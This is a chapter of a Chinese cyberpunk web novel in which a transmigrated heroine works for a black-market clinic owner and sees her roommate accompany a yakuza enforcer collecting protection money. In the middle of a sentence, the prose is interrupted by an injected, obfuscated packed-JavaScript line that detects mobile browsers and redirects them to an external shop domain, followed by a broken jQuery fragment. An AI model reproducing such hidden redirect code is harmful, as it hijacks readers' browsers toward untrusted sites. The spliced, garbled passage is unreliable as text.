第二天醒来时,屋中就只剩下她一个人。
符瑞亚揉了揉干涩的眼睛,坐起身收拾好床铺换上冲锋衣。
其实天气已经很热了,但哪怕是翻遍了屋子,原主也只有一身衣裳,于是在她手中宽裕前就只能被迫每日都穿这件冲锋衣。
一想着泰坦科技是不是会给她发件平时也能穿的公服,她就开始有点期待去周一上班了。
但今天是周六,虽然不用去上班但还是可以找个兼职,毕竟吃喝住行哪样都得花钱。
一说到住,符瑞亚的脚步便停在了走廊,偏头看向自己残破的屋子,深深叹了一口气。
一晚上没人住,维持着墙壁大开的状态,也依旧没有小偷光临。因为这里实在是偷无可偷,原主穷得令人发指。
刻意忽视了这让人头疼的窘境,她下楼向黑市走去。
第五区的黑市窄巷两侧是密不透风的违章建筑,生锈钢板和黑色帆布棚交错拼接,让这里的白日看起来也无端阴沉黑暗。头顶悬浮的破旧全息广告牌闪烁不定,投射着美丽女人的虚影,合成音诱人蛊惑“美容修复,九成新义体。”
拿着手中的卡片,符瑞亚一边对照着上面的地址一边寻找店铺。
身后远处炸开阵阵枪声,随后什么东西重重倒地发出闷响。黑市街上的每一位店主都和她一样面无表情、恍若未闻,吸了口烟只继续忙着自己的生意。
连她都从一开始的应激变成了习以为常,更别说这些在黑市扎根多年的老油条了。
走到街道豪不起眼的一处门脸前,霓虹灯在招牌上忽闪忽灭,再次核对地址信息无误后,符瑞亚试探性地推开门。
墙边铁架子上整齐排列着义体零件,前臂、大腿、仿生眼球应有尽有。手术椅皮革表面布满裂痕露出下面暗黄色的海绵,角落里用过的蓝色手术铺巾堆叠成山,上面还凝着发黑的凝胶。
卫生条件着实堪忧......
脚踩着布满陈年污渍的地砖,她五官拧成一团,心底默默祈祷自己以后可千万不要来这种地方做手术。
正在药柜旁摆放针剂的李婆婆闻声回头,看到是她来了,冷哼一声又转了回去,“你来做什么?来还钱的?”
符瑞亚:......怎么净说些她没有的?
面对债主,她立马换上了最讨好的神色极尽谄媚,生硬地转移话题:“都说您是第五区最受人信任的掮客,所以想来问问您......有没有位置安全、房租又低的房子在招租?”
自知要求过高,甚至可以说是悖论的组合,她低下头不敢去看李婆婆的脸色,只抬眼偷瞄。
老旧霓虹招牌的变压器在墙壁里嗡嗡作响,楼上传来水管里液体流动的哗哗声。
可原本预料中的冷嘲热讽没有出现,李婆婆关上药柜门回头看着她,语气极为平淡:“有啊,当然有。”
!!!原来她也不是一只走霉运,幸运女神终于要眷顾她了!
符瑞亚两眼亮晶晶,恨不得马上凑上去看房签约。
右手夹起一根香烟,烟卷在李婆婆指尖缓慢移动。背靠着药柜,吸了一口后李婆婆才开口:“有钱的话,你就去买个墨菲斯系统;没钱的话,就躺这手术室床上睡一觉。省的你总白日作梦。”
被兜头泼了一桶凉水,她故作坚强扶住了门:“我马上会有钱的,今天就该发我一千块工资的。”
“呦?你可真有本事,在暴恐机动队活着执行一次任务也不容易。”
这尖酸刻薄、阴阳怪气的话并未让她生气,因为符瑞亚现在注意到了更为重要的事:暴恐机动队为什么还不给她发工资!不是说好了日结吗?
越想她的一颗心越像被猫挠,她打开手环准备给刘世纪发消息问问,消息刚编辑好还没发出去时就听到“叮”的一声,她收到一条新消息。
「昨日工资已到账867元」
???
等等,说好的日薪一千呢?怎么就突然变成867了?
李婆婆见她神色扭曲愤怒,边拿刷子清理义肢边漫不经心地问了句:“你被诈骗了?”
双手捂住脸,符瑞亚发出绝望的呐喊:“无良公司!明明合同上签好的日薪一千突然就变867了!”
放下手上的活计,李婆婆看她的眼神像是看傻子一样:“每个人的收入都要交13%的空气税,你居然连这也不知道?可真是个十指不沾阳春水的大小姐啊。”
空气税?什么空气税?
“这是谁规定的?为什么连空气也要收税?”
李婆婆翻了个白眼不再看她:“当然是议会通过的。
说是现在环境污染严重,未被净化的空气无法让人呼吸,所以......统一收取13%的税收,给开发了空气净化系统的塞壬公司,这都好多年了。”
万恶的资本家!
看着凭空少了133的账户余额,符瑞亚的一颗心不是在滴血,是大出血。
“唉......”
就在她一分钟内叹了第六次气的时候,李婆婆终于忍不下去,“咣当”一声将锉刀扔在台上,没好气地吼出声:“别净整那丧气样,老婆子见了就烦。”
“既然你这么缺钱,就去帮我跑趟腿吧,至于酬劳......就从你债里扣二百。”顿了顿李婆婆又补了句:“包你今天的营养液。”
闻此,她眼睛“唰”地亮起,心也不疼了,说话也有劲了。“蹭”地站起身,两步跑到李婆婆身边,探头左看看右看看,激动地拍胸脯保证:“放心吧,婆婆。活交给我来做您就放一百个心。”
——
破车缓缓停下,符瑞亚从副驾驶拿过单子,从上到下浏览着李婆婆交给她的活计。
继工作日白天晚上打两份工后,她又找到了周末兼职,但哪怕是累死累活,她也依旧背负着巨债在温饱线上挣扎。
时刻面对着饥饿、露宿街头、受伤看不起病的威胁,有时候她也想问问原主:到底是怎么能把生活过成这样的?
叹了口气,她侧头看向车窗外的店铺,那是待办工作清单上的第一位顾客。
卷帘门上涂着荧光色的菱形涂鸦,旁边的贩售机不知是被谁砸烂了半边,露出里面一截截断裂的电线和干涸的血迹。几只改装过的流浪狗蹲在垃圾桶旁边,眼珠被人挖掉,漆黑眼眶中闪烁着红光。
符瑞亚皱眉下车,“砰”地关上车门,抱臂靠在车身上。
对面店里传来呻吟尖叫声,随后便被哄笑和零散的咒骂取代。嗅到腐烂垃圾的酸腐味,她手指摩挲着冲锋衣袖子,思考着要不要现在进去。
自从拥有了系统给的异能后,她便不再害怕打架,就像是有了秘密武器一样,心中有随时安全抽身的底气。
但她整个人却还是本能地不想多管闲事。因为这个世界遍布各种监控,如果她有异能的事被人发现报上去,那她也不能保证自己能对抗全世界的军队。
毕竟无论是拥有什么异能,被原子弹炸一下子都扛不住。虽然她现在还不知道这个世界的杀伤性武器已经进化成什么了。
所以哪怕是稳操胜券,她都要小心小心再小心。
还没等符瑞亚考虑好,卷帘门里就走出个男人,男人右手被改造成机械手,血滴顺着他的指尖点点滴下来。漫不经心地在裤子上蹭了蹭,男人接着向外走。
男人颧骨有一道竖着的疤,眼睛眯起露出放松惬意的笑容,任谁也能看出他此刻的满足。“老爸不是叫你现在去找他吗?我还要继续去下家店收保护费,就不送你过去了。”
随着男人话音落下,卷帘门处又走出个女人,由于身高女人的腰弯折到近乎九十度。
见到那人,符瑞亚唇角勾起了一个笑容,莫名想到了昨晚临睡前她试探着问新室友在做什么工作。
萤原千鹤子当时是怎么说的来着?
哦对,说的是:给别人帮忙,做点无足轻重的正经活计勉强糊口。
这......就是此人口中的正经工作吗?
一张脸像是结冰的湖面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722197|208723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,所有的情绪都被掩盖,萤原千鹤子微微低头算是默认。
男人说罢上车就要启动离开,恰巧此时一个呆滞迟钝的仿生人路过车前,许是故障卡顿的缘故,突然停在原地一动不动。
男人不耐地将头伸出车外咒骂一声,随即脚踩油门直直撞了过去。
仿生人腾空飞起又重重砸到地上,“咣当”一声震天响,而后倒地痉挛抽搐起来,频频发出卡顿的机械声:“救救我,救救——我。”
符瑞亚靠在车旁看着这一幕,心脏倏地不受控制地抽痛起来,像针扎般竟叫她呼吸困难。
一手捂住心脏,一手撑在车前盖,还没等她弄明白情况,就见明明刚才站在原地无动于衷的萤原千鹤子突然走向仿生人。
伸出双臂,萤原千鹤子的和服牢牢裹住仿生人,一点点将其抬起扶正。随后右手在仿生人的后脖颈处摸着按了按,医学奇迹就此诞生。
仿生人说话不卡了,身体也站得笔直,转头看了看街道两边又呆头呆脑地离开了。
仿生人从未对萤原千鹤子道谢,因为她们没有意识、没有情感,但此人好像也并不在意,只是望着背影笑了笑,转身向反方向走去。
完完整整看完这一幕,符瑞亚对她的新室友的兴趣顿时大增。
到底是什么样的一个人,在杀人时能面不改色地微笑,而在无人时又会对仿生人如此温柔?
要不是接触过此人,她倒是觉得......萤原千鹤子比起人类更像是仿生人才对。
但眼看时间不能再耽误了,她搬起箱子抬脚便往店里走。
店内堆满义肢残件,人造肌纤维从机械臂断裂处爆出来。地上血迹遍布,一片狼藉,显然这里爆发过激烈冲突。店主此刻倒在地上抱住头,喉咙里发出“咕噜咕噜”的声音。
挑着空隙尽量不踩到店内货品,符瑞亚艰难前进。“铃木女士?”她试着喊了声。
店主铃木的两根指甲被人扒掉从根部翻起,左手压在腹部上,像是被人折断的枯树枝。
一步步靠近后蹲下,她伸出右手试探挥了挥,“铃木女士,需要为你打急救电话吗?”
下眼睑不停抽搐,铃木嘴唇翕动,舌头搅动半天终于发出黏腻含混的声响。左眼睁着,右眼满是黑紫淤青,铃木眼神终于不再飘忽,艰难扯起一丝嘴角:“不要打,把桌子上的药给我......”
闻言,她倒出几粒药塞进铃木嘴里,等片刻后铃木渐渐能活动了,符瑞亚这才扶对方坐在椅子上。
“你是?”
面对铃木的困惑,她笑了笑自我介绍:“我帮诊所的李婆婆做工,今天来给您送要维修的义体零件。”
李婆婆主业是开黑诊所,给人安装义体做手术,而铃木女士的业务则是机械修理。所以两人之间很可能存在紧密的合作关系。
许是还没缓过来,铃木有些迟钝地点点头。
“是谁把铃木女士你打成这样的?”她瞪大眼睛明知故问。
剧烈咳嗽一阵后,铃木抬手擦拭脸上血迹:“是极道的人,大岳丸来收这个月的保护费。”
“就他一个人吗?”
“还有极道的八尺姬,不过她只是来监督大岳丸的。”
!!!果然,不只是她一个人觉得萤原千鹤子像八尺大人。
符瑞亚打开箱子,把李婆婆需要维修的机械义肢一一摆到桌子上,“极道一直都在这黑市收保护费吗?之前从没听李婆婆提起过。”
铃木笑了笑,皱纹一层层堆叠在脸上:“收啊,一直都收,一个月一万九的保护费。”顿了顿又加上句:“但李存叙例外,每次极道收这的保护费都会绕过她。”
繁杂的税收加上黑/帮的保护费,让黑市大部分商户的生活也十分艰难。
李存叙......符瑞亚在心里默默咀嚼着,这是她第一次知道李婆婆的名字。
所以,到底是为什么极道从不收此人的保护费呢?
当初李婆婆接触她,真的只是巧合吗?